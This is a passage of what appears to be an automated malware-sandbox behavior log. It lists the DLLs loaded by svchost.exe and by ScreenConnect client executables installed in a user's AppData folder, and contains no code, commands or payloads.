Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: samlib.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N792AEZK.T2T\924ZHOM1.D1T\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
